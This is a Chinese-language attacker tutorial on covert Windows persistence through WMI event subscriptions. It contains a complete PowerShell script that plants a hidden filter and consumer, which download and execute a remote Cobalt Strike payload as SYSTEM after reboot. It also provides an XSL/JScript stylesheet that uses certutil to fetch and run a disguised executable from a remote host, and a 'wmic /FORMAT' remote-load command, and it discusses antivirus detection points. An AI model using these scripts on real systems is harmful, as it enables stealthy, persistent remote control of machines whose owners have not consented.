Windows单机权限维持 [ wmi事件 ]
0x01 模拟环境
IIS85-CN 192.168.3.5 windows 2012r2 64位 IIS10-CN 192.168.3.22 windows 2016 64位
0x02 Beacon 上线
关于wmi事件是个什么东西,此次不多做说明,还是暂时先侧重在实际利用上,首先,准备好相应的 ps payload,特别注意,此处是直接用64位的ps payload,因为目标是64位系统,32位ps payload在win2012r2之后的系统上运行时可能会有问题
http://192.168.3.68:80/logo.gif
如下是 WMI-Persistence.ps1 脚本,代码非常简单,三个函数分别是 插入指定wmi事件,删除指定wmi事件,然后查询wmi事件,需要改的地方就一处,即加粗的远程payload地址,当然,事件名也可以改成自己想要的,不过即使不改也没啥太大关系,一眼看不太出来
<# Credits to @mattifestion for his awesome work on WMI and Powershell Fileless Persistence. This script is an adaptation of his work. #> function Install-Persistence{ $Payload = "((new-object net.webclient).downloadstring('http://192.168.3.68:80/logo.gif'))" $EventFilterName = 'Cleanup' $EventConsumerName = 'DataCleanup' $finalPayload = "powershell.exe -nop -c `"IEX $Payload`"" # Create event filter $EventFilterArgs = @{ EventNamespace = 'root/cimv2' Name = $EventFilterName Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325" QueryLanguage = 'WQL' } $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs # Create CommandLineEventConsumer $CommandLineConsumerArgs = @{ Name = $EventConsumerName CommandLineTemplate = $finalPayload } $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs # Create FilterToConsumerBinding $FilterToConsumerArgs = @{ Filter = $Filter Consumer = $Consumer } $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs #Confirm the Event Filter was created $EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'" if ($EventCheck -ne $null) { Write-Host "Event Filter $EventFilterName successfully written to host" } #Confirm the Event Consumer was created $ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'" if ($ConsumerCheck -ne $null) { Write-Host "Event Consumer $EventConsumerName successfully written to host" } #Confirm the FiltertoConsumer was created $BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'""" if ($BindingCheck -ne $null){ Write-Host "Filter To Consumer Binding successfully written to host" } } function Remove-Persistence{ $EventFilterName = 'Cleanup' $EventConsumerName = 'DataCleanup' # Clean up Code - Comment this code out when you are installing persistence otherwise it will $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" $FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject } function Check-WMI{ Write-Host "Showing All Root Event Filters" Get-WmiObject -Namespace root/subscription -Class __EventFilter Write-Host "Showing All CommandLine Event Consumers" Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer Write-Host "Showing All Filter to Consumer Bindings" Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding }
然后开始插入事件,一旦正常插入成功后,当目标再次重启系统,管理员[administrator]正常登录,稍等片刻[2016可能要稍微多等会儿]当系统在后台轮询到我们的payload事件后,便会被触发执行
# powershell -exec bypass PS > Import-Module .\WMI-Persistence.ps1 PS > Install-Persistence PS > Check-WMI
随之,system权限的beacon被正常弹回
0x03 自定义上线
上面只是大致说明了下,如何利用wmi事件实现beacon的简单上线,接着,我们再来看下如何实现自定义上线,此处,图方便,我们直接用wmic来远程加载执行即可
http://192.168.3.68:80/load.jpg 把马重新命个后缀
wmi.xsl 实现的功能很明了,即 certutil下载者
<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c certutil -urlcache -split -f http://*/load.jpg %temp%/load.exe & %temp%/load.exe & certutil.exe -urlcache -split -f http://*/load.jpg delete",0); ]]> </ms:script> </stylesheet>
修改WMI-Persistence.ps1 脚本,只需把payload部分换下就行,别的不需要动
# wmic os get /FORMAT:"http://192.168.3.68:80/wmi.xsl"
之后继续像上面一样,正常插入wmi事件,等待目标重启系统,administrator正常登录,稍等片刻,便会看到我们system权限的马如期上线,如下
powershell -exec bypass PS > Import-Module .\WMI-Persistence.ps1 PS > Install-Persistence PS > Check-WMI PS > Remove-Persistence 用完以后务必要记得随手删掉
小结:
可以看到,默认情况下回来的shell直接就是system权限,如果没记错的话,大致原理就是系统会在后台一直不停的轮询wmi事件,当轮到我们的payload事件时就会触发执行上线,因为payload是藏到wmi事件里的,一眼很难看到,隐蔽性相对高了不少[ 不过值得注意的是,事件本身虽然隐蔽,但触发payload执行的方式就不一定了 ],只要payload事件没被发现,检测到或者杀掉,通常情况下shell也不会轻易掉,至于wmi事件是个什么东西,篇幅限制,此处就不多说了,大家如果有兴趣的话,可自行谷歌了解,另外,文中执行payload的方式对某些杀软来讲是没有任何意义的,比如,360 因为它肯定会依次拦截像certutil.exe ,powershell.exe, wmic.exe 这种可以用来远程执行的进程,这些全部都是会直接触发报警的点,不过,这也仅仅是国内的某些杀软会这么干,并不代表所有杀软都肯定会拦,关于如何突破这些点,待进一步学习后,再做补充说明,此处仅作入门科普,祝好运